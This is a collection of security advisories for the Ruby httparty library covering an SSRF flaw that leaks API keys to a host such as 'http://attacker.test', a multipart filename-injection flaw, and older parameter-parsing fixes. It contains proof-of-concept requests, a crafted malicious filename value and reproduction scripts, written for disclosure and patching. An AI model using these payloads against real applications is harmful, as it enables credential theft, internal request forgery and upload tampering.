Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the baseuri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

rb require 'sinatra' require 'httparty'

class RepositoryClient include HTTParty baseuri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end

post '/issue' do requestbody = JSON.parse(request.body.read) RepositoryClient.get(requestbody['repositoryid']).body # do something json message: 'OK' end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json

{ "repositoryid": "http://attacker.test", "title": "test" }

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463>

Also, Python's urljoin function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>

PoC

Follow these steps to reproduce the issue:

1. Set up two simple HTTP servers.

bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

2. Create a script (for example, main.rb):

rb require 'httparty'

class Client include HTTParty baseuri 'http://localhost:10001' end

data = Client.get('http://localhost:10002').body puts data

3. Run the script:

bash $ ruby main.rb this is server2

Although baseuri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. - Affected users: Any software that uses baseuri and does not properly validate the path parameter may be affected by this issue.

Impact I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.

httparty/lib/httparty/request > body.rb > def generatemultipart

https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43

By exploiting this problem, the following attacks are possible

An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field. Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename

For example, this vulnerability can be exploited to generate the following Content-Disposition.

Normal Request example: normal input filename: abc.txt generated normal header in multipart/form-data Content-Disposition: form-data; name="avatar"; filename="abc.txt" Malicious Request example malicious input filename: overwritenamefieldandextension.sh"; name="foo"; dummy=".txt generated malicious header in multipart/form-data: Content-Disposition: form-data; name="avatar"; filename="overwritenamefieldandextension.sh"; name="foo"; dummy=".txt"

The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from .txt to .sh .

These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request. I have confirmed that the attack succeeds, at least in the following frameworks

Spring (Java) Ktor (Kotlin) Ruby on Rails (Ruby)

The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.

WhatWG's HTML spec has an escaping requirement.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Patches

As noted at the beginning of this section, encoding must be done as described in the HTML Spec.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Therefore, it is recommended that Content-Disposition be modified by either of the following

Before: Content-Disposition: attachment;filename="malicious.sh";dummy=.txt

After: Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"

https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43

filename.gsub('"', '%22')

Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK. However, since there may be omissions, it is safer to URL encode these as well, if possible. ( \r to %0A and \d to %0D )

PoC

PoC Environment

OS: macOS Monterey(12.3) Ruby ver: ruby 3.1.2p20 httparty ver: 0.20.0 (Python3 - HTTP Request Logging Server)

PoC procedure

(Linux or MacOS is required. This is because Windows does not allow file names containing " (double-quote) .)

1. Create Project $ mkdir my-app $ cd my-app $ gem install httparty

2. Create malicious file

$ touch 'overwritenamefieldandextension.sh"; name="foo"; dummy=".txt'

3. Generate Vuln code

$ vi example.rb

require 'httparty'

filename = 'overwritenamefieldandextension.sh"; name="foo"; dummy=".txt'

HTTParty.post('http://localhost:12345/', body: { name: 'Foo Bar', email: 'example@email.com', avatar: File.open(filename) } )

4. Run Logging Server

I write Python code, but any method will work as long as you can see the HTTP Request Body. (e.g. Debugger, HTTP Logging Server, Packet Capture)

$ vi logging.py from http.server import HTTPServer from http.server import BaseHTTPRequestHandler

class LoggingServer(BaseHTTPRequestHandler):

def doPOST(self): self.sendresponse(200) self.endheaders() self.wfile.write("ok".encode("utf-8"))

contentlength = int(self.headers['Content-Length']) postdata = self.rfile.read(contentlength) print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), postdata.decode('utf-8')) self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

ip = '127.0.0.1' port = 12345

server = HTTPServer((ip, port), LoggingServer) server.serveforever()

$ python logging.py

5. Run & Logging server

$ run example.rb

Return Request Header & Body:

User-Agent: Ruby Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz Connection: close Host: localhost:12345 Content-Length: 457 --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="name" Foo Bar --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="email" example@email.com --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="avatar"; filename="overwritenamefieldandextension.sh"; name="foo"; dummy=".txt" Content-Type: text/plain abc --------------------------F857UcxRc2J1zFOz--

Content-Disposition: Content-Disposition: form-data; name="avatar"; filename="overwritenamefieldandextension.sh"; name="foo"; dummy=".txt"

name fields is duplicate (avator & foo) filename & extension tampering ( .txt --> .sh )

References

1. I also include a similar report that I previously reported to Firefox. https://bugzilla.mozilla.org/showbug.cgi?id=1556711

2. I will post some examples of frameworks that did not have problems as reference.

Golang https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144

Spring https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267

Symphony https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133

For more information If you have any questions or comments about this advisory: Email us at kumagoroalice@yahoo.co.jp

Tasha Drew reports:

Researchers investigating the Rails parameter parsing vulnerability discovered that the same or similar vulnerable code had made its way into multiple other libraries. If your application uses these libraries to process untrusted data, it may still be vulnerable even if you have upgraded Rails. Check your Gemfile and Gemfile.lock for vulnerable versions of the following libraries, and if you are using one, update it immediately.

You can update each of these by using "bundle update <gem name>".

Vulnerable: <= 0.3.1 Fixed in: 0.3.2

Upstream fix:

https://github.com/jnunemaker/crack/commit/e3da1212a1f84a898ee3601336d1dbbf118fb5f6

References:

https://support.cloud.engineyard.com/entries/22915701-january-14-2013-security-vulnerabilities-httparty-extlib-crack-nori-update-these-gems-immediately https://rubygems.org/gems/crack/

Tasha Drew reports:

Researchers investigating the Rails parameter parsing vulnerability discovered that the same or similar vulnerable code had made its way into multiple other libraries. If your application uses these libraries to process untrusted data, it may still be vulnerable even if you have upgraded Rails. Check your Gemfile and Gemfile.lock for vulnerable versions of the following libraries, and if you are using one, update it immediately.

You can update each of these by using "bundle update <gem name>". httparty

Vulnerable: <= 0.9.0

Fixed: 0.10.0

External references: https://support.cloud.engineyard.com/entries/22915701-january-14-2013-security-vulnerabilities-httparty-extlib-crack-nori-update-these-gems-immediately

https://github.com/jnunemaker/httparty/commit/53a812426dd32108d6cba4272b493aa03bc8c031

https://rubygems.org/gems/httparty/